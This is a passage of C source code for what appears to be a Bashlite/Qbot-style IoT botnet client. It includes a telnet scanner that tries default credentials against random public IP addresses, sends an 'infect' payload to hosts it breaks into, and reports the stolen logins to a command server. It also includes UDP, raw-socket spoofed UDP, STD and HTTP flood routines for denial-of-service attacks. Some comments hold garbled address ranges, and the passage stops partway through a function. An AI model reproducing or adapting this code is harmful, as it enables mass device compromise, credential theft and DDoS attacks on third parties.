  871. register char *s = (char *)va_arg( args, int );
  872. pc += prints (out, s?s:"(null)", width, pad);
  873. continue;
  874. }
  875. if( *format == 'd' ) {
  876. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  877. continue;
  878. }
  879. if( *format == 'x' ) {
  880. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  881. continue;
  882. }
  883. if( *format == 'X' ) {
  884. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  885. continue;
  886. }
  887. if( *format == 'u' ) {
  888. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  889. continue;
  890. }
  891. if( *format == 'c' ) {
  892. scr[0] = (unsigned char)va_arg( args, int );
  893. scr[1] = '\0';
  894. pc += prints (out, scr, width, pad);
  895. continue;
  896. }
  897. } else {
  898. out:
  899. printchar (out, *format);
  900. ++pc;
  901. }
  902. }
  903. if (out) **out = '\0';
  904. va_end( args );
  905. return pc;
  906. }
  907. int zprintf(const unsigned char *format, ...) {
  908. va_list args;
  909. va_start( args, format );
  910. return print( 0, format, args );
  911. }
  912. int szprintf(unsigned char *out, const unsigned char *format, ...) {
  913. va_list args;
  914. va_start( args, format );
  915. return print( &out, format, args );
  916. }
  917. int Yuhsprintf(int sock, char *formatStr, ...) {
  918. unsigned char *textBuffer = malloc(2048);
  919. memset(textBuffer, 0, 2048);
  920. char *orig = textBuffer;
  921. va_list args;
  922. va_start(args, formatStr);
  923. print(&textBuffer, formatStr, args);
  924. va_end(args);
  925. orig[strlen(orig)] = '\n';
  926. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  927. free(orig);
  928. return q;
  929. }
  930. static int *fdopen_pids;
  931. int fdpopen(unsigned char *program, register unsigned char *type) {
  932. register int iop;
  933. int pdes[2], fds, pid;
  934. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  935. if (pipe(pdes) < 0) return -1;
  936. if (fdopen_pids == NULL) {
  937. if ((fds = getdtablesize()) <= 0) return -1;
  938. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  939. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  940. }
  941. switch (pid = vfork()) {
  942. case -1:
  943. close(pdes[0]);
  944. close(pdes[1]);
  945. return -1;
  946. case 0:
  947. if (*type == 'r') {
  948. if (pdes[1] != 1) {
  949. dup2(pdes[1], 1);
  950. close(pdes[1]);
  951. }
  952. close(pdes[0]);
  953. } else {
  954. if (pdes[0] != 0) {
  955. (void) dup2(pdes[0], 0);
  956. (void) close(pdes[0]);
  957. }
  958. (void) close(pdes[1]);
  959. }
  960. execl("/bin/sh", "sh", "-c", program, NULL);
  961. _exit(127);
  962. }
  963. if (*type == 'r') {
  964. iop = pdes[0];
  965. (void) close(pdes[1]);
  966. } else {
  967. iop = pdes[1];
  968. (void) close(pdes[0]);
  969. }
  970. fdopen_pids[iop] = pid;
  971. return (iop);
  972. }
  973. int fdpclose(int iop) {
  974. register int fdes;
  975. sigset_t omask, nmask;
  976. int pstat;
  977. register int pid;
  978. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  979. (void) close(iop);
  980. sigemptyset(&nmask);
  981. sigaddset(&nmask, SIGINT);
  982. sigaddset(&nmask, SIGQUIT);
  983. sigaddset(&nmask, SIGHUP);
  984. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  985. do {
  986. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  987. } while (pid == -1 && errno == EINTR);
  988. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  989. fdopen_pids[fdes] = 0;
  990. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  991. }
  992. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) {
  993. int got = 1, total = 0;
  994. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  995. return got == 0 ? NULL : buffer;
  996. }
  997. static const long hextable[] = {
  998. [0 ... 255] = -1,
  999. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  1000. ['A'] = 10, 11, 12, 13, 14, 15,
  1001. ['a'] = 10, 11, 12, 13, 14, 15
  1002. };
  1003. long parseHex(unsigned char *hex) {
  1004. long ret = 0;
  1005. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  1006. return ret;
  1007. }
  1008. int wildString(const unsigned char* pattern, const unsigned char* string) {
  1009. switch(*pattern) {
  1010. case '\0': return *string;
  1011. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  1012. case '?': return !(*string && !wildString(pattern+1, string+1));
  1013. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  1014. }
  1015. }
  1016. int getHost(unsigned char *toGet, struct in_addr *i) {
  1017. struct hostent *h;
  1018. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  1019. return 0;
  1020. }
  1021. void uppercase(unsigned char *str) {
  1022. while(*str) { *str = toupper(*str); str++; }
  1023. }
  1024. void makeRandomStr(unsigned char *buf, int length) {
  1025. int i = 0;
  1026. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  1027. }
  1028. int recvLine(int socket, unsigned char *buf, int bufsize) {
  1029. memset(buf, 0, bufsize);
  1030. fd_set myset;
  1031. struct timeval tv;
  1032. tv.tv_sec = 30;
  1033. tv.tv_usec = 0;
  1034. FD_ZERO(&myset);
  1035. FD_SET(socket, &myset);
  1036. int selectRtn, retryCount;
  1037. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  1038. while(retryCount < 10) {
  1039. #ifdef PRINTS_ENABLED
  1040. Yuhsprintf(YuhsCommSock, "PING");
  1041. #endif
  1042. tv.tv_sec = 30;
  1043. tv.tv_usec = 0;
  1044. FD_ZERO(&myset);
  1045. FD_SET(socket, &myset);
  1046. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  1047. retryCount++;
  1048. continue;
  1049. }
  1050. break;
  1051. }
  1052. }
  1053. unsigned char tmpchr;
  1054. unsigned char *cp;
  1055. int count = 0;
  1056. cp = buf;
  1057. while(bufsize-- > 1) {
  1058. if(recv(YuhsCommSock, &tmpchr, 1, 0) != 1) {
  1059. *cp = 0x00;
  1060. return -1;
  1061. }
  1062. *cp++ = tmpchr;
  1063. if(tmpchr == '\n') break;
  1064. count++;
  1065. }
  1066. *cp = 0x00;
  1067. // zprintf("recv: %s\n", cp);
  1068. return count;
  1069. }
  1070. struct telstate_t {
  1071. int fd;
  1072. unsigned int ip;
  1073. unsigned char state;
  1074. unsigned char complete;
  1075. unsigned char usernameInd;
  1076. unsigned char passwordInd;
  1077. unsigned char tempDirInd;
  1078. unsigned int totalTimeout;
  1079. unsigned short bufUsed;
  1080. char *sockbuf;
  1081. };
  1082. const char* get_telstate_host(struct telstate_t* telstate) {
  1083. struct in_addr in_addr_ip;
  1084. in_addr_ip.s_addr = telstate->ip;
  1085. return inet_ntoa(in_addr_ip);
  1086. }
  1087. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
  1088. int num_bytes, i;
  1089. memset(buffer, 0, buf_size);
  1090. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1091. if(buffer[0] == 0xFF) {
  1092. negotiate(fd, buffer, 3);
  1093. }
  1094. if(contains_string(buffer, strings)) {
  1095. return 1;
  1096. }
  1097. return 0;
  1098. }
  1099. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {
  1100. fd_set read_set;
  1101. struct timeval tv;
  1102. tv.tv_sec = 0;
  1103. tv.tv_usec = timeout_usec;
  1104. FD_ZERO(&read_set);
  1105. FD_SET(fd, &read_set);
  1106. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1107. return 0;
  1108. return recv(fd, buffer, buf_size, 0);
  1109. }
  1110. void advance_state(struct telstate_t* telstate, int new_state) {
  1111. if(new_state == 0) {
  1112. close(telstate->fd);
  1113. }
  1114. telstate->totalTimeout = 0;
  1115. telstate->state = new_state;
  1116. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  1117. }
  1118. void reset_telstate(struct telstate_t* telstate) {
  1119. advance_state(telstate, 0);
  1120. telstate->complete = 1;
  1121. }
  1122. int contains_success(char* buffer) {
  1123. return contains_string(buffer, successes);
  1124. }
  1125. int contains_fail(char* buffer) {
  1126. return contains_string(buffer, fails);
  1127. }
  1128. int contains_response(char* buffer) {
  1129. return contains_success(buffer) || contains_fail(buffer);
  1130. }
  1131. int contains_string(char* buffer, char** strings) {
  1132. int num_strings = 0, i = 0;
  1133. for(num_strings = 0; strings[++num_strings] != 0; );
  1134. for(i = 0; i < num_strings; i++) {
  1135. if(strcasestr(buffer, strings[i])) {
  1136. return 1;
  1137. }
  1138. }
  1139. return 0;
  1140. }
  1141. int connectTimeout(int fd, char *host, int port, int timeout) {
  1142. struct sockaddr_in dest_addr;
  1143. fd_set myset;
  1144. struct timeval tv;
  1145. socklen_t lon;
  1146. int valopt;
  1147. long arg = fcntl(fd, F_GETFL, NULL);
  1148. arg |= O_NONBLOCK;
  1149. fcntl(fd, F_SETFL, arg);
  1150. dest_addr.sin_family = AF_INET;
  1151. dest_addr.sin_port = htons(port);
  1152. if(getHost(host, &dest_addr.sin_addr)) return 0;
  1153. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1154. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1155. if (res < 0) {
  1156. if (errno == EINPROGRESS) {
  1157. tv.tv_sec = timeout;
  1158. tv.tv_usec = 0;
  1159. FD_ZERO(&myset);
  1160. FD_SET(fd, &myset);
  1161. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  1162. lon = sizeof(int);
  1163. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1164. if (valopt) return 0;
  1165. }
  1166. else return 0;
  1167. }
  1168. else return 0;
  1169. }
  1170. arg = fcntl(fd, F_GETFL, NULL);
  1171. arg &= (~O_NONBLOCK);
  1172. fcntl(fd, F_SETFL, arg);
  1173. return 1;
  1174. }
  1175. int listFork() {
  1176. uint32_t parent, *newpids, i;
  1177. parent = fork();
  1178. if (parent <= 0) return parent;
  1179. numpids++;
  1180. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  1181. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  1182. newpids[numpids - 1] = parent;
  1183. free(pids);
  1184. pids = newpids;
  1185. return parent;
  1186. }
  1187. int negotiate(int sock, unsigned char *buf, int len) {
  1188. unsigned char c;
  1189. switch (buf[1]) {
  1190. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  1191. case CMD_WILL:
  1192. case CMD_WONT:
  1193. case CMD_DO:
  1194. case CMD_DONT:
  1195. c = CMD_IAC;
  1196. send(sock, &c, 1, MSG_NOSIGNAL);
  1197. if (CMD_WONT == buf[1]) c = CMD_DONT;
  1198. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  1199. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  1200. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  1201. send(sock, &c, 1, MSG_NOSIGNAL);
  1202. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  1203. break;
  1204. default:
  1205. break;
  1206. }
  1207. return 0;
  1208. }
  1209. int matchPrompt(char *bufStr) {
  1210. char *prompts = ":>%$#\0";
  1211. int bufLen = strlen(bufStr);
  1212. int i, q = 0;
  1213. for(i = 0; i < strlen(prompts); i++) {
  1214. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  1215. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  1216. }
  1217. return 0;
  1218. }
  1219. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex) {
  1220. int bufferUsed = initialIndex, got = 0, found = 0;
  1221. fd_set myset;
  1222. struct timeval tv;
  1223. tv.tv_sec = timeout;
  1224. tv.tv_usec = timeoutusec;
  1225. unsigned char *initialRead = NULL;
  1226. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) {
  1227. FD_ZERO(&myset);
  1228. FD_SET(fd, &myset);
  1229. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  1230. initialRead = buffer + bufferUsed;
  1231. got = recv(fd, initialRead, 1, 0);
  1232. if(got == -1 || got == 0) return 0;
  1233. bufferUsed += got;
  1234. if(*initialRead == 0xFF) {
  1235. got = recv(fd, initialRead + 1, 2, 0);
  1236. if(got == -1 || got == 0) return 0;
  1237. bufferUsed += got;
  1238. if(!negotiate(fd, initialRead, 3)) return 0;
  1239. } else {
  1240. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  1241. }
  1242. }
  1243. if(found) return 1;
  1244. return 0;
  1245. }
  1246. static uint8_t ipState[5] = {0};
  1247. in_addr_t GetRandomPublicIP()
  1248. {
  1249. static uint8_t ipState[4] = {0};
  1250. ipState[0] = rand() % 223;
  1251. ipState[1] = rand() % 255;
  1252. ipState[2] = rand() % 255;
  1253. ipState[3] = rand() % 255;
  1254. while(
  1255. (ipState[0] == 127) || // 127.0.0.0/8 - Loopback
  1256. (ipState[0] == 0) || // 185.7.78.16/8 - Invalid address space
  1257. (ipState[0] == 3) || // 3.0.0.0/8 - General Electric Company
  1258. (ipState[0] == 15 || ipState[0] == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
  1259. (ipState[0] == 56) || // 56.0.0.0/8 - US Postal Service
  1260. (ipState[0] == 10) || // 1185.7.78.16/8 - Internal network
  1261. (ipState[0] == 192 && ipState[1] == 168) || // 192.168.0.0/16 - Internal network
  1262. (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) || // 172.16.0.0/14 - Internal network
  1263. (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || // 100.64.0.0/10 - IANA NAT reserved
  1264. (ipState[0] == 169 && ipState[1] > 254) || // 169.254.0.0/16 - IANA NAT reserved
  1265. (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) || // 198.18.0.0/15 - IANA Special use
  1266. (ipState[0] == 224) || // 224.*.*.*+ - Multicast
  1267. (ipState[0] == 6 || ipState[0] == 7 || ipState[0] == 11 || ipState[0] == 21 || ipState[0] == 22 || ipState[0] == 26 || ipState[0] == 28 || ipState[0] == 29 || ipState[0] == 30 || ipState[0] == 33 || ipState[0] == 55 || ipState[0] == 214 || ipState[0] == 215)
  1268. )
  1269. {
  1270. ipState[0] = rand() % 223;
  1271. ipState[1] = rand() % 255;
  1272. ipState[2] = rand() % 255;
  1273. ipState[3] = rand() % 255;
  1274. }
  1275. char ip[16] = {0};
  1276. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1277. return inet_addr(ip);
  1278. }
  1279. in_addr_t GetRandomIP(in_addr_t netmask) {
  1280. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1281. return tmp ^ ( rand_cmwc() & ~netmask);
  1282. }
  1283. unsigned short csum (unsigned short *buf, int count) {
  1284. register uint64_t sum = 0;
  1285. while( count > 1 ) { sum += *buf++; count -= 2; }
  1286. if(count > 0) { sum += *(unsigned char *)buf; }
  1287. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1288. return (uint16_t)(~sum);
  1289. }
  1290. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  1291. struct tcp_pseudo {
  1292. unsigned long src_addr;
  1293. unsigned long dst_addr;
  1294. unsigned char zero;
  1295. unsigned char proto;
  1296. unsigned short length;
  1297. } pseudohead;
  1298. unsigned short total_len = iph->tot_len;
  1299. pseudohead.src_addr=iph->saddr;
  1300. pseudohead.dst_addr=iph->daddr;
  1301. pseudohead.zero=0;
  1302. pseudohead.proto=IPPROTO_TCP;
  1303. pseudohead.length=htons(sizeof(struct tcphdr));
  1304. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1305. unsigned short *tcp = malloc(totaltcp_len);
  1306. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1307. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1308. unsigned short output = csum(tcp,totaltcp_len);
  1309. free(tcp);
  1310. return output;
  1311. }
  1312. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
  1313. iph->ihl = 5;
  1314. iph->version = 4;
  1315. iph->tos = 0;
  1316. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1317. iph->id = rand_cmwc();
  1318. iph->frag_off = 0;
  1319. iph->ttl = MAXTTL;
  1320. iph->protocol = protocol;
  1321. iph->check = 0;
  1322. iph->saddr = source;
  1323. iph->daddr = dest;
  1324. }
  1325. int sclose(int fd) {
  1326. if(3 > fd) return 1;
  1327. close(fd);
  1328. return 0;
  1329. }
  1330. int socket_connect(char *host, in_port_t port) {
  1331. struct hostent *hp;
  1332. struct sockaddr_in addr;
  1333. int on = 1, sock;
  1334. if ((hp = gethostbyname(host)) == NULL) return 0;
  1335. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1336. addr.sin_port = htons(port);
  1337. addr.sin_family = AF_INET;
  1338. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1339. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1340. if (sock == -1) return 0;
  1341. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1342. return 0;
  1343. return sock;
  1344. }
  1345. void StartTheLelz(int wait_usec, int maxfds) {
  1346. int i, res, num_tmps, j;
  1347. char buf[128], cur_dir;
  1348. int max = maxfds;
  1349. fd_set fdset;
  1350. struct timeval tv;
  1351. socklen_t lon;
  1352. int valopt;
  1353. srand(time(NULL) ^ rand_cmwc());
  1354. char line[256];
  1355. char* buffer;
  1356. struct sockaddr_in dest_addr;
  1357. dest_addr.sin_family = AF_INET;
  1358. dest_addr.sin_port = htons(23);
  1359. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1360. buffer = malloc(BUFFER_SIZE + 1);
  1361. memset(buffer, 0, BUFFER_SIZE + 1);
  1362. struct telstate_t fds[max];
  1363. memset(fds, 0, max * (sizeof(int) + 1));
  1364. for(i = 0; i < max; i++) {
  1365. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1366. fds[i].complete = 1;
  1367. fds[i].sockbuf = buffer;
  1368. }
  1369. for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
  1370. while(1) {
  1371. for(i = 0; i < max; i++) {
  1372. if(fds[i].totalTimeout == 0) {
  1373. fds[i].totalTimeout = time(NULL);
  1374. }
  1375. switch(fds[i].state) {
  1376. case 0:
  1377. {
  1378. if(fds[i].complete == 1)
  1379. {
  1380. // clear the current fd
  1381. char *tmp = fds[i].sockbuf;
  1382. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1383. fds[i].sockbuf = tmp;
  1384. // get a new random ip
  1385. fds[i].ip = GetRandomPublicIP();
  1386. }
  1387. else if(fds[i].complete == 0) {
  1388. fds[i].passwordInd++;
  1389. fds[i].usernameInd++;
  1390. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1391. fds[i].complete = 1;
  1392. continue;
  1393. }
  1394. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1395. fds[i].complete = 1;
  1396. continue;
  1397. }
  1398. }
  1399. dest_addr.sin_family = AF_INET;
  1400. dest_addr.sin_port = htons(23);
  1401. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1402. dest_addr.sin_addr.s_addr = fds[i].ip;
  1403. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1404. if(fds[i].fd == -1) continue;
  1405. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1406. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1407. reset_telstate(&fds[i]);
  1408. } else {
  1409. advance_state(&fds[i], 1);
  1410. }
  1411. }
  1412. break;
  1413. case 1: {
  1414. FD_ZERO(&fdset);
  1415. FD_SET(fds[i].fd, &fdset);
  1416. tv.tv_sec = 0;
  1417. tv.tv_usec = wait_usec;
  1418. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1419. if(res == 1) {
  1420. lon = sizeof(int);
  1421. valopt = 0;
  1422. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1423. //printf("%d\n",valopt);
  1424. if(valopt) {
  1425. reset_telstate(&fds[i]);
  1426. } else {
  1427. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1428. advance_state(&fds[i], 2);
  1429. }
  1430. continue;
  1431. }
  1432. else if(res == -1) {
  1433. reset_telstate(&fds[i]);
  1434. continue;
  1435. }
  1436. if(fds[i].totalTimeout + 5 < time(NULL)) {
  1437. reset_telstate(&fds[i]);
  1438. }
  1439. }
  1440. break;
  1441. case 2: {
  1442. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1443. if(contains_fail(fds[i].sockbuf)) {
  1444. advance_state(&fds[i], 0);
  1445. } else {
  1446. advance_state(&fds[i], 3);
  1447. }
  1448. continue;
  1449. }
  1450. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1451. reset_telstate(&fds[i]);
  1452. }
  1453. }
  1454. break;
  1455. case 3: {
  1456. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1457. reset_telstate(&fds[i]);
  1458. continue;
  1459. }
  1460. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1461. reset_telstate(&fds[i]);
  1462. continue;
  1463. }
  1464. advance_state(&fds[i], 4);
  1465. }
  1466. break;
  1467. case 4: {
  1468. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1469. if(contains_fail(fds[i].sockbuf)) {
  1470. advance_state(&fds[i], 0);
  1471. } else {
  1472. advance_state(&fds[i], 5);
  1473. }
  1474. continue;
  1475. }
  1476. if(fds[i].totalTimeout + 3 < time(NULL)) {
  1477. reset_telstate(&fds[i]);
  1478. }
  1479. }
  1480. break;
  1481. case 5: {
  1482. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1483. reset_telstate(&fds[i]);
  1484. continue;
  1485. }
  1486. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1487. reset_telstate(&fds[i]);
  1488. continue;
  1489. }
  1490. advance_state(&fds[i], 6);
  1491. }
  1492. break;
  1493. case 6: {
  1494. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1495. fds[i].totalTimeout = time(NULL);
  1496. if(contains_fail(fds[i].sockbuf)) {
  1497. advance_state(&fds[i], 0);
  1498. }
  1499. else if(contains_success(fds[i].sockbuf)) {
  1500. if(fds[i].complete == 2) {
  1501. advance_state(&fds[i], 7);
  1502. } else {
  1503. Yuhsprintf(YuhsCommSock, "\x1b[1;35mLogin Found \x1b[1;37mAttempting To Brute \x1b[1;35mLIKE A GOD!!! IP:%s User:%s Pass:%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1504. advance_state(&fds[i], 7);
  1505. }
  1506. } else {
  1507. reset_telstate(&fds[i]);
  1508. }
  1509. continue;
  1510. }
  1511. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1512. reset_telstate(&fds[i]);
  1513. }
  1514. }
  1515. break;
  1516. case 7: {
  1517. fds[i].totalTimeout = time(NULL);
  1518. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) <0);
  1519. if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  1520. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  1521. reset_telstate(&fds[i]);
  1522. continue;
  1523. }
  1524. if(fds[i].totalTimeout + 25 < time(NULL)) {
  1525. if(fds[i].complete !=3){
  1526. }
  1527. reset_telstate(&fds[i]);
  1528. }
  1529. break;
  1530. }
  1531. }
  1532. }
  1533. }
  1534. }
  1535. void sendSTD(unsigned char *ip, int port, int secs) {
  1536. int iSTD_Sock;
  1537. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1538. time_t start = time(NULL);
  1539. struct sockaddr_in sin;
  1540. struct hostent *hp;
  1541. hp = gethostbyname(ip);
  1542. bzero((char*) &sin,sizeof(sin));
  1543. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1544. sin.sin_family = hp->h_addrtype;
  1545. sin.sin_port = port;
  1546. unsigned int a = 0;
  1547. while(1){
  1548. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
  1549. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1550. if (a >= 50) {
  1551. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1552. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1553. if (time(NULL) >= start + secs) {
  1554. close(iSTD_Sock);
  1555. _exit(0);
  1556. }
  1557. a = 0;
  1558. }
  1559. a++;
  1560. }
  1561. }
  1562.  
  1563. void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power)
  1564. {
  1565. int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1566. char request[512], buffer[1];
  1567. for (i = 0; i < power; i++)
  1568. {
  1569. sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 36)]);
  1570. if (fork())
  1571. {
  1572. while (end > time(NULL))
  1573. {
  1574. socket = socket_connect(host, port);
  1575. if (socket != 0)
  1576. {
  1577. write(socket, request, strlen(request));
  1578. read(socket, buffer, 1);
  1579. close(socket);
  1580. }
  1581. }
  1582. exit(0);
  1583. }
  1584. }
  1585. }
  1586.  
  1587. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime) {
  1588. struct sockaddr_in dest_addr;
  1589. dest_addr.sin_family = AF_INET;
  1590. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1591. else dest_addr.sin_port = htons(port);
  1592. if(getHost(target, &dest_addr.sin_addr)) return;
  1593. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1594. register unsigned int pollRegister;
  1595. pollRegister = pollinterval;
  1596. if(spoofit == 32) {
  1597. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1598. if(!sockfd) {
  1599. #ifdef PRINTS_ENABLED
  1600. Yuhsprintf(YuhsCommSock, "Failed opening raw socket.");
  1601. #endif
  1602. return;
  1603. }
  1604. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1605. if(buf == NULL) return;
  1606. memset(buf, 0, packetsize + 1);
  1607. makeRandomStr(buf, packetsize);
  1608. int end = time(NULL) + timeEnd;
  1609. register unsigned int i = 0;
  1610. register unsigned int ii = 0;
  1611. while(1) {
  1612. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1613. if(i == pollRegister) {
  1614. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1615. if(time(NULL) > end) break;
  1616. i = 0;
  1617. continue;
  1618. }
  1619. i++;
  1620. if(ii == sleepcheck) {
  1621. usleep(sleeptime*1000);
  1622. ii = 0;
  1623. continue;
  1624. }
  1625. ii++;
  1626. }
  1627. } else {
  1628. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1629. if(!sockfd) {
  1630. #ifdef PRINTS_ENABLED
  1631. Yuhsprintf(YuhsCommSock, "Failed opening raw socket.");
  1632. #endif
  1633. return;
  1634. }
  1635. int tmp = 1;
  1636. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1637. #ifdef PRINTS_ENABLED
  1638. Yuhsprintf(YuhsCommSock, "Failed setting raw headers mode.");
  1639. #endif
  1640. return;
  1641. }
  1642. int counter = 50;
  1643. while(counter--) {
  1644. srand(time(NULL) ^ rand_cmwc());
  1645. init_rand(rand());
  1646. }
  1647. in_addr_t netmask;
